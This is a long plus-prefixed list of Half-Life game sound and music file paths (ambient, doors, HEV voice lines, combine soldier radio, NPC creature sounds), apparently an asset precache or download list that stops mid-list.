+ambient/water/water_spray1.wav +ambient/water/water_spray2.wav +ambient/water/water_spray3.wav +ambient/water/wave1.wav +ambient/water/wave2.wav +ambient/water/wave3.wav +ambient/water/wave4.wav +ambient/water/wave5.wav +ambient/water/wave6.wav +ambient/wind/wasteland_wind.wav +ambient/wind/wind1.wav +ambient/wind/windgust.wav +ambient/wind/windgust_strong.wav +ambient/wind/wind_hit1.wav +ambient/wind/wind_hit2.wav +ambient/wind/wind_hit3.wav +ambient/wind/wind_med1.wav +ambient/wind/wind_med2.wav +ambient/wind/wind_moan1.wav +ambient/wind/wind_moan2.wav +ambient/wind/wind_moan4.wav +ambient/wind/wind_rooftop1.wav +ambient/wind/wind_snippet1.wav +ambient/wind/wind_snippet2.wav +ambient/wind/wind_snippet3.wav +ambient/wind/wind_snippet4.wav +ambient/wind/wind_snippet5.wav +ambient/wind/wind_tunnel1.wav +beams/beamstart5.wav +buttons/blip1.wav +buttons/button1.wav +buttons/button10.wav +buttons/button14.wav +buttons/button15.wav +buttons/button16.wav +buttons/button17.wav +buttons/button18.wav +buttons/button19.wav +buttons/button2.wav +buttons/button24.wav +buttons/button3.wav +buttons/button4.wav +buttons/button5.wav +buttons/button6.wav +buttons/button8.wav +buttons/button9.wav +buttons/combine_button1.wav +buttons/combine_button2.wav +buttons/combine_button3.wav +buttons/combine_button5.wav +buttons/combine_button7.wav +buttons/combine_button_locked.wav +buttons/lever1.wav +buttons/lever2.wav +buttons/lever3.wav +buttons/lever4.wav +buttons/lever5.wav +buttons/lever6.wav +buttons/lever7.wav +buttons/lever8.wav +buttons/lightswitch2.wav +combined/Citadel/citadel_br_guest_f_cc.wav +combined/Citadel/citadel_br_newleader_a_cc.wav +combined/Citadel/citadel_br_playgame_b_cc.wav +combined/eli_lab/eli_lab_al_gravgun_cc.wav +combined/eli_lab/eli_lab_al_soquickly01_cc.wav +combined/eli_lab/eli_lab_eli_portal01_cc.wav +combined/eli_lab/eli_lab_eli_surface_cc.wav +combined/eli_lab/eli_lab_mo_airlock06_cc.wav +combined/eli_lab/eli_lab_mo_airlock10_cc.wav +combined/eli_lab/eli_lab_mo_airlock12_cc.wav +combined/eli_lab/eli_lab_mo_extrahelp04_cc.wav +combined/eli_lab/eli_lab_mo_extrahelp05_cc.wav +combined/eli_lab/eli_lab_mo_hereseli01_cc.wav +combined/eli_lab/eli_lab_mo_postdoc01_cc.wav +combined/eli_lab/eli_lab_mo_relay01_cc.wav +combined/eli_lab/eli_lab_mo_relay02_cc.wav +combined/k_lab/k_lab_al_docsays01_cc.wav +combined/k_lab/k_lab_al_lostgordon_cc.wav +combined/k_lab/k_lab_al_moveon01_cc.wav +combined/k_lab/k_lab_ba_cantkeephim01_cc.wav +combined/k_lab/k_lab_ba_getitoff01_cc.wav +combined/k_lab/k_lab_ba_getoutofsight01_cc.wav +combined/k_lab/k_lab_ba_hesback01_cc.wav +combined/k_lab/k_lab_ba_itsworking01_cc.wav +combined/k_lab/k_lab_ba_myshift01_cc.wav +combined/k_lab/k_lab_ba_notimetofool01_cc.wav +combined/k_lab/k_lab_ba_sarcastic01_cc.wav +combined/k_lab/k_lab_ba_thingaway01_cc.wav +combined/k_lab/k_lab_br_significant_cc.wav +combined/k_lab/k_lab_kl_almostforgot_cc.wav +combined/k_lab/k_lab_kl_blast_cc.wav +combined/k_lab/k_lab_kl_charger01_cc.wav +combined/k_lab/k_lab_kl_debeaked_cc.wav +combined/k_lab/k_lab_kl_excellent_cc.wav +combined/k_lab/k_lab_kl_fewmoments01_cc.wav +combined/k_lab/k_lab_kl_fitglove01_cc.wav +combined/k_lab/k_lab_kl_getoutrun01_cc.wav +combined/k_lab/k_lab_kl_hedyno02_cc.wav +combined/k_lab/k_lab_kl_helloalyx01_cc.wav +combined/k_lab/k_lab_kl_initializing_cc.wav +combined/k_lab/k_lab_kl_masslessfieldflux_cc.wav +combined/k_lab/k_lab_kl_mygoodness02_cc.wav +combined/k_lab/k_lab_kl_nownow01_cc.wav +combined/k_lab/k_lab_kl_opportunetime01_cc.wav +combined/k_lab/k_lab_kl_packing01_cc.wav +combined/k_lab/k_lab_kl_projectyou_cc.wav +combined/k_lab/k_lab_kl_redletterday01_cc.wav +combined/k_lab/k_lab_kl_slipin01_cc.wav +combined/k_lab/k_lab_kl_suitfits01_cc.wav +combined/k_lab/k_lab_kl_wishiknew_cc.wav +combined/NovaProspekt/novaprospekt_al_horrible01_cc.wav +combined/NovaProspekt/novaprospekt_mo_alreadyrerouted01_cc.wav +combined/NovaProspekt/novaprospekt_mo_hadtoprove01_cc.wav +combined/trainyard/k_lab_al_buyyoudrink02_cc.wav +combined/trainyard/Trainyard_al_nicetomeet_cc.wav +combined/trainyard/Trainyard_al_suspicious_cc.wav +combined/trainyard/Trainyard_al_thisday01_cc.wav +combined/trainyard/Trainyard_ba_crowbar01_cc.wav +combined/trainyard/Trainyard_ba_getoutfast_cc.wav +combined/trainyard/Trainyard_ba_goodluck01_cc.wav +combined/trainyard/Trainyard_ba_tellme01_cc.wav +combined/trainyard/Trainyard_kl_morewarn01_cc.wav +combined/trainyard/Trainyard_kl_whatisit01_cc.wav +common/bugreporter_failed.wav +common/bugreporter_succeeded.wav +common/NULL.WAV +common/warning.wav +common/wpn_denyselect.WAV +common/wpn_hudoff.WAV +common/wpn_moveselect.WAV +common/wpn_select.WAV +doors/default_locked.wav +doors/default_move.wav +doors/default_stop.wav +doors/door1_move.wav +doors/door1_stop.wav +doors/doormove1.wav +doors/doormove2.wav +doors/doormove3.wav +doors/doormove7.wav +doors/doorstop1.wav +doors/door_chainlink_close1.wav +doors/door_chainlink_close2.wav +doors/door_chainlink_move1.wav +doors/door_latch1.wav +doors/door_latch3.wav +doors/door_locked2.wav +doors/door_metal_gate_move1.wav +doors/door_metal_large_chamber_close1.wav +doors/door_metal_large_close2.wav +doors/door_metal_large_open1.wav +doors/door_metal_medium_close1.wav +doors/door_metal_medium_open1.wav +doors/door_metal_rusty_move1.wav +doors/door_metal_thin_close2.wav +doors/door_metal_thin_move1.wav +doors/door_metal_thin_open1.wav +doors/door_screen_move1.wav +doors/door_squeek1.wav +doors/door_wood_close1.wav +doors/drawbridge_move1.wav +doors/drawbridge_stop1.wav +doors/garage_move1.wav +doors/garage_stop1.wav +doors/gate_move1.wav +doors/handle_pushbar_locked1.wav +doors/handle_pushbar_open1.wav +doors/heavy_metal_move1.wav +doors/heavy_metal_stop1.wav +doors/latchlocked2.wav +doors/latchunlocked1.wav +doors/metal_move1.wav +doors/metal_stop1.wav +doors/vent_open1.wav +doors/vent_open2.wav +doors/vent_open3.wav +doors/wood_move1.wav +doors/wood_stop1.wav +Friends/friend_join.wav +Friends/friend_online.wav +Friends/message.wav +HL1/ambience/alien_blipper.wav +HL1/ambience/alien_cycletone.wav +HL1/ambience/alien_minddrill.wav +HL1/ambience/alien_powernode.wav +HL1/ambience/computalk2.wav +HL1/ambience/deadsignal2.wav +HL1/ambience/des_wind2.wav +HL1/ambience/labdrone2.wav +HL1/ambience/particle_suck1.wav +HL1/ambience/particle_suck2.wav +HL1/ambience/port_suckin1.wav +HL1/ambience/port_suckout1.wav +HL1/ambience/signalgear1.wav +HL1/ambience/steamburst1.wav +HL1/ambience/techamb2.wav +HL1/fvox/acquired.wav +HL1/fvox/activated.WAV +HL1/fvox/ammo_depleted.wav +HL1/fvox/antidote_shot.wav +HL1/fvox/antitoxin_shot.wav +HL1/fvox/armor_gone.wav +HL1/fvox/automedic_on.wav +HL1/fvox/beep.wav +HL1/fvox/bell.wav +HL1/fvox/biohazard_detected.wav +HL1/fvox/bio_reading.wav +HL1/fvox/bleeding_stopped.wav +HL1/fvox/blip.wav +HL1/fvox/blood_loss.wav +HL1/fvox/blood_plasma.wav +HL1/fvox/blood_toxins.wav +HL1/fvox/boop.wav +HL1/fvox/buzz.wav +HL1/fvox/chemical_detected.wav +HL1/fvox/deactivated.WAV +HL1/fvox/eighty.wav +HL1/fvox/evacuate_area.wav +HL1/fvox/fifteen.wav +HL1/fvox/fifty.wav +HL1/fvox/five.wav +HL1/fvox/flatline.wav +HL1/fvox/fourty.wav +HL1/fvox/fuzz.wav +HL1/fvox/health_critical.wav +HL1/fvox/health_dropping.wav +HL1/fvox/health_dropping2.wav +HL1/fvox/heat_damage.wav +HL1/fvox/hev_critical_fail.wav +HL1/fvox/hev_damage.wav +HL1/fvox/hev_general_fail.wav +HL1/fvox/hev_shutdown.wav +HL1/fvox/hiss.wav +HL1/fvox/immediately.wav +HL1/fvox/innsuficient_medical.wav +HL1/fvox/internal_bleeding.wav +HL1/fvox/major_fracture.wav +HL1/fvox/major_lacerations.wav +HL1/fvox/medical_repaired.wav +HL1/fvox/minor_fracture.wav +HL1/fvox/minor_lacerations.wav +HL1/fvox/morphine_shot.wav +HL1/fvox/near_death.wav +HL1/fvox/ninety.wav +HL1/fvox/onehundred.wav +HL1/fvox/percent.wav +HL1/fvox/powermove_overload.wav +HL1/fvox/power_below.wav +HL1/fvox/power_level_is.wav +HL1/fvox/power_restored.wav +HL1/fvox/radiation_detected.wav +HL1/fvox/seek_medic.wav +HL1/fvox/seventy.wav +HL1/fvox/shock_damage.WAV +HL1/fvox/sixty.wav +HL1/fvox/targetting_system.WAV +HL1/fvox/ten.wav +HL1/fvox/thirty.wav +HL1/fvox/torniquette_applied.wav +HL1/fvox/twenty.wav +HL1/fvox/voice_off.wav +HL1/fvox/voice_on.wav +HL1/fvox/warning.wav +HL1/fvox/wound_sterilized.wav +HL1/fvox/_comma.wav +items/ammocrate_close.wav +items/ammocrate_open.wav +items/ammo_pickup.wav +items/battery_pickup.wav +items/flashlight1.wav +items/medcharge4.wav +items/medshot4.wav +items/medshotno1.wav +items/smallmedkit1.wav +items/suitcharge1.wav +items/suitchargeno1.wav +items/suitchargeok1.wav +music/HL1_song10.mp3 +music/HL1_song11.mp3 +music/HL1_song14.mp3 +music/HL1_song15.mp3 +music/HL1_song17.mp3 +music/HL1_song19.mp3 +music/HL1_song20.mp3 +music/HL1_song21.mp3 +music/HL1_song24.mp3 +music/HL1_song25_REMIX3.mp3 +music/HL1_song26.mp3 +music/HL1_song3.mp3 +music/HL1_song5.mp3 +music/HL1_song6.mp3 +music/HL1_song9.mp3 +music/HL2_intro.mp3 +music/HL2_song0.mp3 +music/HL2_song1.mp3 +music/HL2_song10.mp3 +music/HL2_song11.mp3 +music/HL2_song12_long.mp3 +music/HL2_song13.mp3 +music/HL2_song14.mp3 +music/HL2_song15.mp3 +music/HL2_song16.mp3 +music/HL2_song17.mp3 +music/HL2_song19.mp3 +music/HL2_song2.mp3 +music/HL2_song20_submix0.mp3 +music/HL2_song20_submix4.mp3 +music/HL2_song23_SuitSong3.mp3 +music/HL2_song25_Teleporter.mp3 +music/HL2_song26.mp3 +music/HL2_song26_trainstation1.mp3 +music/HL2_song27_trainstation2.mp3 +music/HL2_song28.mp3 +music/HL2_song29.mp3 +music/HL2_song3.mp3 +music/HL2_song30.mp3 +music/HL2_song31.mp3 +music/HL2_song32.mp3 +music/HL2_song33.mp3 +music/HL2_song4.mp3 +music/HL2_song6.mp3 +music/HL2_song7.mp3 +music/HL2_song8.mp3 +music/radio1.mp3 +music/Ravenholm_1.mp3 +music/stingers/HL1_stinger_song16.mp3 +music/stingers/HL1_stinger_song27.mp3 +music/stingers/HL1_stinger_song28.mp3 +music/stingers/HL1_stinger_song7.mp3 +music/stingers/HL1_stinger_song8.mp3 +music/stingers/industrial_suspense1.wav +music/stingers/industrial_suspense2.wav +npc/antlion/attack_double1.wav +npc/antlion/attack_double2.wav +npc/antlion/attack_double3.wav +npc/antlion/attack_single1.wav +npc/antlion/attack_single2.wav +npc/antlion/attack_single3.wav +npc/antlion/charge_loop1.wav +npc/antlion/digdown1.wav +npc/antlion/digup1.wav +npc/antlion/distract1.wav +npc/antlion/fly1.wav +npc/antlion/foot1.wav +npc/antlion/foot2.wav +npc/antlion/foot3.wav +npc/antlion/foot4.wav +npc/antlion/idle1.wav +npc/antlion/idle2.wav +npc/antlion/idle3.wav +npc/antlion/idle4.wav +npc/antlion/idle5.wav +npc/antlion/land1.wav +npc/antlion/pain1.wav +npc/antlion/pain2.wav +npc/antlion/rumble1.wav +npc/antlion/shell_impact1.wav +npc/antlion/shell_impact2.wav +npc/antlion/shell_impact3.wav +npc/antlion/shell_impact4.wav +npc/antlion_grub/squashed.wav +npc/antlion_guard/angry1.wav +npc/antlion_guard/angry2.wav +npc/antlion_guard/angry3.wav +npc/antlion_guard/antlion_guard_die1.wav +npc/antlion_guard/antlion_guard_die2.wav +npc/antlion_guard/confused1.wav +npc/antlion_guard/foot_heavy1.wav +npc/antlion_guard/foot_heavy2.wav +npc/antlion_guard/foot_light1.wav +npc/antlion_guard/foot_light2.wav +npc/antlion_guard/growl_high.wav +npc/antlion_guard/growl_idle.wav +npc/antlion_guard/shove1.wav +npc/assassin/ball_zap1.wav +npc/attack_helicopter/aheli_charge_up.wav +npc/attack_helicopter/aheli_crash_alert2.wav +npc/attack_helicopter/aheli_damaged_alarm1.wav +npc/attack_helicopter/aheli_megabomb_siren1.wav +npc/attack_helicopter/aheli_mine_drop1.wav +npc/attack_helicopter/aheli_mine_seek_loop1.wav +npc/attack_helicopter/aheli_rotor_loop1.wav +npc/attack_helicopter/aheli_wash_loop3.wav +npc/attack_helicopter/aheli_weapon_fire_loop3.wav +npc/barnacle/barnacle_bark1.wav +npc/barnacle/barnacle_bark2.wav +npc/barnacle/barnacle_crunch2.wav +npc/barnacle/barnacle_crunch3.wav +npc/barnacle/barnacle_die1.wav +npc/barnacle/barnacle_die2.wav +npc/barnacle/barnacle_digesting1.wav +npc/barnacle/barnacle_digesting2.wav +npc/barnacle/barnacle_gulp1.wav +npc/barnacle/barnacle_gulp2.wav +npc/barnacle/barnacle_pull1.wav +npc/barnacle/barnacle_pull2.wav +npc/barnacle/barnacle_pull3.wav +npc/barnacle/barnacle_pull4.wav +npc/barnacle/barnacle_tongue_pull1.wav +npc/barnacle/barnacle_tongue_pull2.wav +npc/barnacle/barnacle_tongue_pull3.wav +npc/barnacle/neck_snap1.wav +npc/barnacle/neck_snap2.wav +npc/combine_gunship/attack_start2.wav +npc/combine_gunship/attack_stop2.wav +npc/combine_gunship/dropship_dropping_pod_loop1.wav +npc/combine_gunship/dropship_engine_distant_loop1.wav +npc/combine_gunship/dropship_engine_near_loop1.wav +npc/combine_gunship/dropship_onground_loop1.wav +npc/combine_gunship/engine_rotor_loop1.wav +npc/combine_gunship/engine_whine_loop1.wav +npc/combine_gunship/gunship_crashing1.wav +npc/combine_gunship/gunship_engine_loop3.wav +npc/combine_gunship/gunship_explode2.wav +npc/combine_gunship/gunship_fire_loop1.wav +npc/combine_gunship/gunship_moan.wav +npc/combine_gunship/gunship_pain.wav +npc/combine_gunship/gunship_ping_search.wav +npc/combine_gunship/gunship_weapon_fire_loop6.wav +npc/combine_gunship/ping_patrol.wav +npc/combine_gunship/ping_search.wav +npc/combine_gunship/see_enemy.wav +npc/combine_soldier/die1.wav +npc/combine_soldier/die2.wav +npc/combine_soldier/die3.wav +npc/combine_soldier/gear1.wav +npc/combine_soldier/gear2.wav +npc/combine_soldier/gear3.wav +npc/combine_soldier/gear4.wav +npc/combine_soldier/gear5.wav +npc/combine_soldier/gear6.wav +npc/combine_soldier/pain1.wav +npc/combine_soldier/pain2.wav +npc/combine_soldier/pain3.wav +npc/combine_soldier/vo/administer.wav +npc/combine_soldier/vo/affirmative.wav +npc/combine_soldier/vo/affirmative2.wav +npc/combine_soldier/vo/affirmativewegothimnow.wav +npc/combine_soldier/vo/alert1.wav +npc/combine_soldier/vo/anticitizenone.wav +npc/combine_soldier/vo/antiseptic.wav +npc/combine_soldier/vo/apex.wav +npc/combine_soldier/vo/bearing.wav +npc/combine_soldier/vo/blade.wav +npc/combine_soldier/vo/block31mace.wav +npc/combine_soldier/vo/block64jet.wav +npc/combine_soldier/vo/bodypackholding.wav +npc/combine_soldier/vo/boomer.wav +npc/combine_soldier/vo/bouncerbouncer.wav +npc/combine_soldier/vo/callcontactparasitics.wav +npc/combine_soldier/vo/callcontacttarget1.wav +npc/combine_soldier/vo/callhotpoint.wav +npc/combine_soldier/vo/cleaned.wav +npc/combine_soldier/vo/closing.wav +npc/combine_soldier/vo/closing2.wav +npc/combine_soldier/vo/confirmsectornotsterile.wav +npc/combine_soldier/vo/contact.wav +npc/combine_soldier/vo/contactconfim.wav +npc/combine_soldier/vo/contactconfirmprosecuting.wav +npc/combine_soldier/vo/contained.wav +npc/combine_soldier/vo/containmentproceeding.wav +npc/combine_soldier/vo/copy.wav +npc/combine_soldier/vo/copythat.wav +npc/combine_soldier/vo/cover.wav +npc/combine_soldier/vo/coverhurt.wav +npc/combine_soldier/vo/coverme.wav +npc/combine_soldier/vo/dagger.wav +npc/combine_soldier/vo/dash.wav +npc/combine_soldier/vo/degrees.wav +npc/combine_soldier/vo/delivered.wav +npc/combine_soldier/vo/designatetargetas.wav +npc/combine_soldier/vo/displace.wav +npc/combine_soldier/vo/displace2.wav +npc/combine_soldier/vo/echo.wav +npc/combine_soldier/vo/eight.wav +npc/combine_soldier/vo/eighteen.wav +npc/combine_soldier/vo/eighty.wav +npc/combine_soldier/vo/eleven.wav +npc/combine_soldier/vo/engagedincleanup.wav +npc/combine_soldier/vo/engaging.wav +npc/combine_soldier/vo/executingfullresponse.wav +npc/combine_soldier/vo/extractoraway.wav +npc/combine_soldier/vo/extractorislive.wav +npc/combine_soldier/vo/fifteen.wav +npc/combine_soldier/vo/fifty.wav +npc/combine_soldier/vo/fist.wav +npc/combine_soldier/vo/five.wav +npc/combine_soldier/vo/fixsightlinesmovein.wav +npc/combine_soldier/vo/flaredown.wav +npc/combine_soldier/vo/flash.wav +npc/combine_soldier/vo/flatline.wav +npc/combine_soldier/vo/flush.wav +npc/combine_soldier/vo/four.wav +npc/combine_soldier/vo/fourteen.wav +npc/combine_soldier/vo/fourty.wav +npc/combine_soldier/vo/freeman3.wav +npc/combine_soldier/vo/fullactive.wav +npc/combine_soldier/vo/ghost.wav +npc/combine_soldier/vo/ghost2.wav +npc/combine_soldier/vo/goactiveintercept.wav +npc/combine_soldier/vo/gosharp.wav +npc/combine_soldier/vo/gosharpgosharp.wav +npc/combine_soldier/vo/grid.wav +npc/combine_soldier/vo/gridsundown46.wav +npc/combine_soldier/vo/hammer.wav +npc/combine_soldier/vo/hardenthatposition.wav +npc/combine_soldier/vo/hasnegativemovement.wav +npc/combine_soldier/vo/heavyresistance.wav +npc/combine_soldier/vo/helix.wav +npc/combine_soldier/vo/hunter.wav +npc/combine_soldier/vo/hurricane.wav +npc/combine_soldier/vo/ice.wav +npc/combine_soldier/vo/inbound.wav +npc/combine_soldier/vo/infected.wav +npc/combine_soldier/vo/ion.wav +npc/combine_soldier/vo/isatcode.wav +npc/combine_soldier/vo/isfieldpromoted.wav +npc/combine_soldier/vo/isfinalteamunitbackup.wav +npc/combine_soldier/vo/isholdingatcode.wav +npc/combine_soldier/vo/jet.wav +npc/combine_soldier/vo/judge.wav +npc/combine_soldier/vo/kilo.wav +npc/combine_soldier/vo/leader.wav +npc/combine_soldier/vo/lostcontact.wav +npc/combine_soldier/vo/mace.wav +npc/combine_soldier/vo/meters.wav +npc/combine_soldier/vo/motioncheckallradials.wav +npc/combine_soldier/vo/movein.wav +npc/combine_soldier/vo/necrotics.wav +npc/combine_soldier/vo/necroticsinbound.wav +npc/combine_soldier/vo/niner.wav +npc/combine_soldier/vo/nineteen.wav +npc/combine_soldier/vo/ninety.wav +npc/combine_soldier/vo/nomad.wav +npc/combine_soldier/vo/nova.wav +npc/combine_soldier/vo/noviscon.wav +npc/combine_soldier/vo/off1.wav +npc/combine_soldier/vo/off2.wav +npc/combine_soldier/vo/off3.wav +npc/combine_soldier/vo/on1.wav +npc/combine_soldier/vo/on2.wav +npc/combine_soldier/vo/one.wav +npc/combine_soldier/vo/onecontained.wav +npc/combine_soldier/vo/onedown.wav +npc/combine_soldier/vo/onedutyvacated.wav +npc/combine_soldier/vo/onehundred.wav +npc/combine_soldier/vo/outbreak.wav +npc/combine_soldier/vo/outbreakstatusiscode.wav +npc/combine_soldier/vo/overwatch.wav +npc/combine_soldier/vo/overwatchconfirmhvtcontained.wav +npc/combine_soldier/vo/overwatchreportspossiblehostiles.wav +npc/combine_soldier/vo/overwatchrequestreinforcement.wav +npc/combine_soldier/vo/overwatchrequestreserveactivation.wav +npc/combine_soldier/vo/overwatchrequestskyshield.wav +npc/combine_soldier/vo/overwatchrequestwinder.wav +npc/combine_soldier/vo/overwatchsectoroverrun.wav +npc/combine_soldier/vo/overwatchtarget1sterilized.wav +npc/combine_soldier/vo/overwatchtargetcontained.wav +npc/combine_soldier/vo/overwatchteamisdown.wav +npc/combine_soldier/vo/ovewatchorders3ccstimboost.wav +npc/combine_soldier/vo/payback.wav +npc/combine_soldier/vo/phantom.wav +npc/combine_soldier/vo/prepforcontact.wav +npc/combine_soldier/vo/priority1objective.wav +npc/combine_soldier/vo/prioritytwoescapee.wav +npc/combine_soldier/vo/prison_soldier_activatecentral.wav +npc/combine_soldier/vo/prison_soldier_boomersinbound.wav +npc/combine_soldier/vo/prison_soldier_bunker1.wav +npc/combine_soldier/vo/prison_soldier_bunker2.wav +npc/combine_soldier/vo/prison_soldier_bunker3.wav +npc/combine_soldier/vo/prison_soldier_containD8.wav +npc/combine_soldier/vo/prison_soldier_fallback_b4.wav +npc/combine_soldier/vo/prison_soldier_freeman_antlions.wav +npc/combine_soldier/vo/prison_soldier_fullbioticoverrun.wav +npc/combine_soldier/vo/prison_soldier_leader9dead.wav +npc/combine_soldier/vo/prison_soldier_negativecontainment.wav +npc/combine_soldier/vo/prison_soldier_prosecuteD7.wav +npc/combine_soldier/vo/prison_soldier_sundown3dead.wav +npc/combine_soldier/vo/prison_soldier_tohighpoints.wav +npc/combine_soldier/vo/prison_soldier_visceratorsA5.wav +npc/combine_soldier/vo/prosecuting.wav +npc/combine_soldier/vo/quicksand.wav +npc/combine_soldier/vo/range.wav +npc/combine_soldier/vo/ranger.wav +npc/combine_soldier/vo/razor.wav +npc/combine_soldier/vo/readycharges.wav +npc/combine_soldier/vo/readyextractors.wav +npc/combine_soldier/vo/readyweapons.wav +npc/combine_soldier/vo/readyweaponshostilesinbound.wav +npc/combine_soldier/vo/reaper.wav +npc/combine_soldier/vo/reportallpositionsclear.wav +npc/combine_soldier/vo/reportallradialsfree.wav +npc/combine_soldier/vo/reportingclear.wav +npc/combine_soldier/vo/requestmedical.wav +npc/combine_soldier/vo/requeststimdose.wav +npc/combine_soldier/vo/ripcord.wav +npc/combine_soldier/vo/ripcordripcord.wav +npc/combine_soldier/vo/savage.wav +npc/combine_soldier/vo/scar.wav +npc/combine_soldier/vo/sectionlockupdash4.wav +npc/combine_soldier/vo/sector.wav +npc/combine_soldier/vo/sectorisnotsecure.wav +npc/combine_soldier/vo/sectorissecurenovison.wav +npc/combine_soldier/vo/secure.wav +npc/combine_soldier/vo/seven.wav +npc/combine_soldier/vo/seventeen.wav +npc/combine_soldier/vo/seventy.wav +npc/combine_soldier/vo/shadow.wav +npc/combine_soldier/vo/sharpzone.wav +npc/combine_soldier/vo/sightlineisclear.wav +npc/combine_soldier/vo/six.wav +npc/combine_soldier/vo/sixteen.wav +npc/combine_soldier/vo/sixty.wav +npc/combine_soldier/vo/skyshieldreportslostcontact.wav +npc/combine_soldier/vo/slam.wav +npc/combine_soldier/vo/slash.wav +npc/combine_soldier/vo/spear.wav +npc/combine_soldier/vo/stab.wav +npc/combine_soldier/vo/stabilizationteamhassector.wav +npc/combine_soldier/vo/stabilizationteamholding.wav +npc/combine_soldier/vo/standingby].wav +npc/combine_soldier/vo/star.wav +npc/combine_soldier/vo/stayalert.wav +npc/combine_soldier/vo/stayalertreportsightlines.wav +npc/combine_soldier/vo/stinger.wav +npc/combine_soldier/vo/storm.wav +npc/combine_soldier/vo/striker.wav +npc/combine_soldier/vo/sundown.wav +npc/combine_soldier/vo/suppressing.wav +npc/combine_soldier/vo/swarmoutbreakinsector.wav +npc/combine_soldier/vo/sweeper.wav +npc/combine_soldier/vo/sweepingin.wav +npc/combine_soldier/vo/swift.wav +npc/combine_soldier/vo/sword.wav +npc/combine_soldier/vo/target.wav +npc/combine_soldier/vo/targetblackout.wav +npc/combine_soldier/vo/targetcompromisedmovein.wav +npc/combine_soldier/vo/targetcontactat.wav +npc/combine_soldier/vo/targetineffective.wav +npc/combine_soldier/vo/targetisat.wav +npc/combine_soldier/vo/targetmyradial.wav +npc/combine_soldier/vo/targetone.wav +npc/combine_soldier/vo/teamdeployedandscanning.wav +npc/combine_soldier/vo/ten.wav +npc/combine_soldier/vo/thatsitwrapitup.wav +npc/combine_soldier/vo/thirteen.wav +npc/combine_soldier/vo/thirty.wav +npc/combine_soldier/vo/three.wav +npc/combine_soldier/vo/threehundred.wav +npc/combine_soldier/vo/tracker.wav +npc/combine_soldier/vo/twelve.wav +npc/combine_soldier/vo/twenty.wav +npc/combine_soldier/vo/two.wav +npc/combine_soldier/vo/twohundred.wav +npc/combine_soldier/vo/uniform.wav +npc/combine_soldier/vo/unitisclosing.wav +npc/combine_soldier/vo/unitisinbound.wav +npc/combine_soldier/vo/unitismovingin.wav +npc/combine_soldier/vo/vamp.wav +npc/combine_soldier/vo/viscon.wav +npc/combine_soldier/vo/visualonexogens.wav +npc/combine_soldier/vo/weaponsoffsafeprepforcontact.wav +npc/combine_soldier/vo/weareinaninfestationzone.wav +npc/combine_soldier/vo/wehavefreeparasites.wav +npc/combine_soldier/vo/wehavenontaggedviromes.wav +npc/combine_soldier/vo/winder.wav +npc/combine_soldier/vo/zero.wav +npc/combine_soldier/vo/_comma.wav +npc/combine_soldier/vo/_period.wav +npc/crow/alert1.wav +npc/crow/alert2.wav +npc/crow/alert3.wav +npc/crow/crow2.wav +npc/crow/crow3.wav +npc/crow/die1.wav +npc/crow/die2.wav +npc/crow/flap2.wav +npc/crow/hop1.wav +npc/crow/hop2.wav +npc/crow/idle1.wav +npc/crow/idle2.wav +npc/crow/idle3.wav +npc/crow/idle4.wav +npc/crow/pain1.wav +npc/crow/pain2.wav +npc/dog/car_impact1.wav +npc/dog/car_impact2.wav +npc/dog/dog_alarmed1.wav +npc/dog/dog_alarmed3.wav +npc/dog/dog_angry1.wav +npc/dog/dog_angry2.wav +npc/dog/dog_angry3.wav +npc/dog/dog_combatmode_loop1.wav +npc/dog/dog_destroy_door1.wav +npc/dog/dog_disappointed.wav +npc/dog/dog_drop_gate1.wav +npc/dog/dog_footstep1.wav +npc/dog/dog_footstep2.wav +npc/dog/dog_footstep3.wav +npc/dog/dog_footstep4.wav +npc/dog/dog_footstep_run1.wav +npc/dog/dog_footstep_run2.wav +npc/dog/dog_footstep_run3.wav +npc/dog/dog_footstep_run4.wav +npc/dog/dog_footstep_run5.wav +npc/dog/dog_footstep_run6.wav +npc/dog/dog_footstep_run7.wav +npc/dog/dog_footstep_run8.wav +npc/dog/dog_growl2.wav +npc/dog/dog_growl3.wav +npc/dog/dog_idle1.wav +npc/dog/dog_idle2.wav +npc/dog/dog_idle3.wav +npc/dog/dog_idle4.wav +npc/dog/dog_idle5.wav +npc/dog/dog_idlemode_loop1.wav +npc/dog/dog_laugh1.wav +npc/dog/dog_on_dropship.wav +npc/dog/dog_playfull1.wav +npc/dog/dog_playfull3.wav +npc/dog/dog_playfull4.wav +npc/dog/dog_playfull5.wav +npc/dog/dog_pneumatic1.wav +npc/dog/dog_pneumatic2.wav +npc/dog/dog_rollover_servos1.wav +npc/dog/dog_scared1.wav +npc/dog/dog_servo1.wav +npc/dog/dog_servo10.wav +npc/dog/dog_servo12.wav +npc/dog/dog_servo2.wav +npc/dog/dog_servo3.wav +npc/dog/dog_servo5.wav +npc/dog/dog_servo6.wav +npc/dog/dog_servo7.wav +npc/dog/dog_servo8.wav +npc/dog/dog_straining1.wav +npc/dog/dog_straining2.wav +npc/dog/dog_straining3.wav +npc/env_headcrabcanister/explosion.wav +npc/env_headcrabcanister/hiss.wav +npc/env_headcrabcanister/incoming.wav +npc/env_headcrabcanister/launch.wav +npc/fast_zombie/breathe_loop1.wav +npc/fast_zombie/claw_miss1.wav +npc/fast_zombie/claw_miss2.wav +npc/fast_zombie/claw_strike1.wav +npc/fast_zombie/claw_strike2.wav +npc/fast_zombie/claw_strike3.wav +npc/fast_zombie/foot1.wav +npc/fast_zombie/foot2.wav +npc/fast_zombie/foot3.wav +npc/fast_zombie/foot4.wav +npc/fast_zombie/fz_alert_close1.wav +npc/fast_zombie/fz_alert_far1.wav +npc/fast_zombie/fz_frenzy1.wav +npc/fast_zombie/fz_scream1.wav +npc/fast_zombie/gurgle_loop1.wav +npc/fast_zombie/idle1.wav +npc/fast_zombie/idle2.wav +npc/fast_zombie/idle3.wav +npc/fast_zombie/leap1.wav +npc/fast_zombie/wake1.wav +npc/footsteps/hardboot_generic1.wav +npc/footsteps/hardboot_generic2.wav +npc/footsteps/hardboot_generic3.wav +npc/footsteps/hardboot_generic4.wav +npc/footsteps/hardboot_generic5.wav +npc/footsteps/hardboot_generic6.wav +npc/footsteps/hardboot_generic8.wav +npc/footsteps/softshoe_generic6.wav +npc/headcrab/alert1.wav +npc/headcrab/attack1.wav +npc/headcrab/attack2.wav +npc/headcrab/attack3.wav +npc/headcrab/die1.wav +npc/headcrab/die2.wav +npc/headcrab/headbite.wav +npc/headcrab/headcrab_burning_loop2.wav +npc/headcrab/idle1.wav +npc/headcrab/idle2.wav +npc/headcrab/idle3.wav +npc/headcrab/pain1.wav +npc/headcrab/pain2.wav +npc/headcrab/pain3.wav +npc/headcrab_fast/alert1.wav +npc/headcrab_fast/attack1.wav 